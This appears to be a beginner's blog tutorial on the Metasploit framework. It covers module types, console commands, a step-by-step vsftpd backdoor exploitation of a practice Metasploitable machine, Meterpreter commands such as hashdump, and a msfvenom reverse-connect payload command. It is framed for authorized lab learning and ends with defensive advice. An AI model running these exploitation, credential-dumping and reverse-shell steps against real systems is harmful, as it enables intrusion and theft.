
If you have spent any time around ethical hacking or penetration testing, you have heard the name Metasploit. It shows up in every course, every YouTube tutorial, and almost every real security job. But most guides jump straight into commands and leave beginners confused.
This guide is different. We will go slow, use plain English, and explain not just how to use Metasploit, but what it is, why it matters, and when you actually reach for it. By the end, you will understand the framework and be able to run your first attack safely in a home lab.
One rule before we start: only use Metasploit on machines you own or have written permission to test. Attacking systems you do not own is a crime in most countries. Everything in this guide is done against a practice machine built for learning.
Think of Metasploit as a giant, organized toolbox for hacking. Instead of writing attack code from scratch every time, security testers use Metasploit's ready-made tools to find weaknesses in computers, break in, and see how far an attacker could get.
It was created by H.D. Moore back in 2003 and is now maintained by a company called Rapid7. Today it is the most popular penetration testing framework in the world, and it comes pre-installed on Kali Linux, the operating system most hackers and testers use.
Here is the key idea. A vulnerability is a weakness in software. An exploit is the code that abuses that weakness. A payload is what runs on the target after the exploit works. Metasploit bundles thousands of exploits and payloads together and lets you fire them with a few simple commands. That is the whole magic.
Why people love it: it saves time, it is beginner-friendly compared to raw exploit code, and it keeps everything in one place.
When you use it: during a penetration test, in a security lab while learning, or when checking whether a machine on your network can be broken into.
There are two main versions, and it is easy to mix them up.
| Version | Price | Interface | Best For |
|---|---|---|---|
| Metasploit Framework | Free and open source | Command line (msfconsole) | Learners, students, most pentesters, bug bounty hunters |
| Metasploit Pro | Paid, commercial | Web dashboard, automation | Big security teams needing reports and automated campaigns |
For learning and for almost all real testing, the free Framework is all you need. The paid Pro version mostly adds a point-and-click interface, automated phishing, and reporting features for large companies. This guide focuses on the free Framework, which is currently on the 6.4 line and updates almost every week with fresh exploits.
Everything in Metasploit is a "module." Understanding the six types is the fastest way to stop feeling lost. Here they are in plain language.
| Module Type | What It Does | Simple Example |
|---|---|---|
| Exploits | The attack code that abuses a weakness | Breaking in through an old, unpatched service |
| Payloads | The code that runs after you break in | Opening a remote command shell on the target |
| Auxiliary | Helpers that do not exploit, just scan or gather info | Port scanners, login brute-forcers, sniffers |
| Post | Actions taken after access is gained | Grabbing passwords, taking screenshots, digging deeper |
| Encoders | Reshape payloads to dodge basic antivirus | Hiding the payload's fingerprint |
| Nops | Filler that keeps payloads stable in memory | Padding so the exploit lands cleanly |
You do not need to memorize this. Just remember: exploits get you in, payloads give you control, auxiliary and post modules do the supporting work.
The easiest path is Kali Linux, where Metasploit is already installed. If you are on Kali, you are ready to go. On other Linux systems or macOS, you can use the official installer from Rapid7.
Keep it updated so you get the newest exploits:
# Update Metasploit to the latest version
sudo msfupdate
Now launch the main tool, the console:
# Start the Metasploit console
msfconsole
The first time it loads it may take a moment. Newer versions are much faster because they only load modules when you actually use them. Once you see the msf6 > prompt, you are inside. Congratulations, you are driving Metasploit.
You only need a handful of commands to be productive. Here they are with what each one does.
| Command | What It Does |
|---|---|
search <keyword> | Find a module by name, software, or CVE number |
use <module> | Select a module to work with |
info | Show details, options, and description of the chosen module |
show options | List the settings you must fill in |
set <option> <value> | Fill in a setting, like the target IP |
check | Test if the target is vulnerable without attacking |
exploit or run | Launch the attack |
sessions | List your active connections to hacked machines |
back | Leave the current module |
help | Show all available commands |
That is genuinely most of what daily Metasploit use looks like: search, use, set, exploit. Repeat.
Let us tie it all together with a real example. We will target Metasploitable, a machine that was built on purpose to be full of weaknesses so people can practice legally. Never do this to a real system you do not own.
Step 1: Find your target. First, scan to find open doors (ports) on the practice machine at, say, 192.168.56.101.
# Inside msfconsole, run a quick port scan using an auxiliary module
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.56.101
run
Step 2: Pick something to attack. Say the scan shows an old FTP service running. Search for a matching exploit.
search vsftpd
Step 3: Select and inspect the exploit.
use exploit/unix/ftp/vsftpd_234_backdoor
show options
Step 4: Set your target and check first. The check command is a good habit. It confirms the machine is vulnerable before you fire.
set RHOSTS 192.168.56.101
check
Step 5: Launch the attack.
exploit
If it works, you get a command shell on the target machine. You are now "inside." From here you could list files, read data, or move deeper. In a real test, this is the moment you document exactly what an attacker could reach, then help the owner fix it.
When people talk about the "cool" part of Metasploit, they usually mean Meterpreter. It is a special, powerful payload that lives in the target's memory and gives you a rich remote control menu instead of a plain shell.
Once you have a Meterpreter session, useful commands include:
| Meterpreter Command | What It Does |
|---|---|
sysinfo | Show details about the hacked computer |
getuid | See which user account you are running as |
screenshot | Capture the target's screen |
hashdump | Grab password hashes (Windows) |
download <file> | Pull a file off the target |
upload <file> | Push a file onto the target |
shell | Drop into a normal command prompt |
Meterpreter is popular because it is quiet, flexible, and runs in memory, which makes it harder for simple antivirus to catch. It is the standard payload for serious testing.
Sometimes you do not want a full exploit. You just want a standalone payload file, for example a program that connects back to you when someone runs it. That is what msfvenom is for. It is Metasploit's payload builder, and it runs as its own command outside the console.
Here is a simple example that creates a payload for a Windows lab machine (again, only ever for systems you own):
# Build a reverse-connect Windows payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe -o payload.exe
In plain words: -p picks the payload, LHOST is your machine's IP where the target will call back, LPORT is the port to listen on, -f exe makes a Windows program, and -o names the output file. You would then set up a listener in Metasploit to catch the connection when the file runs in your lab.
Metasploit is a professional tool, not a toy. Using it against systems without permission can lead to serious criminal charges. Always test in a controlled lab, or with a signed authorization letter for a real client.
The good news is that understanding Metasploit also makes you better at defense. If you know how attackers break in, you know what to protect. The best defenses are simple and boring: patch your software quickly, remove services you do not use, use strong passwords and multi-factor login, and watch your network logs for the kind of activity these tools create. Most Metasploit exploits only work because someone forgot to update old software.
Bookmark this. It covers the full basic workflow.
| Stage | Command |
|---|---|
| Update Metasploit | sudo msfupdate |
| Start the console | msfconsole |
| Find a module | search <keyword> |
| Select a module | use <module_path> |
| See required settings | show options |
| Set the target | set RHOSTS <ip> |
| Confirm vulnerability | check |
| Launch | exploit or run |
| List sessions | sessions |
| Enter a session | sessions -i <id> |
| Build a payload | msfvenom -p <payload> LHOST=<ip> LPORT=<port> -f <format> -o <file> |
Metasploit can feel overwhelming at first because it is huge. But the core idea is simple: it is an organized toolbox that turns messy attack code into clean, repeatable commands. Learn the six module types, memorize the search-use-set-exploit flow, practice safely in a lab, and you will be comfortable faster than you expect.
Start small. Set up a home lab with Kali Linux and a practice target. Break in once, understand exactly what happened, and then learn to defend against it. That loop of attack and defense is how real security skills are built.
Reminder: Only test systems you own or are legally authorized to assess. Unauthorized access is illegal.
Comments (0)
No comments yet. Be the first to share your thoughts.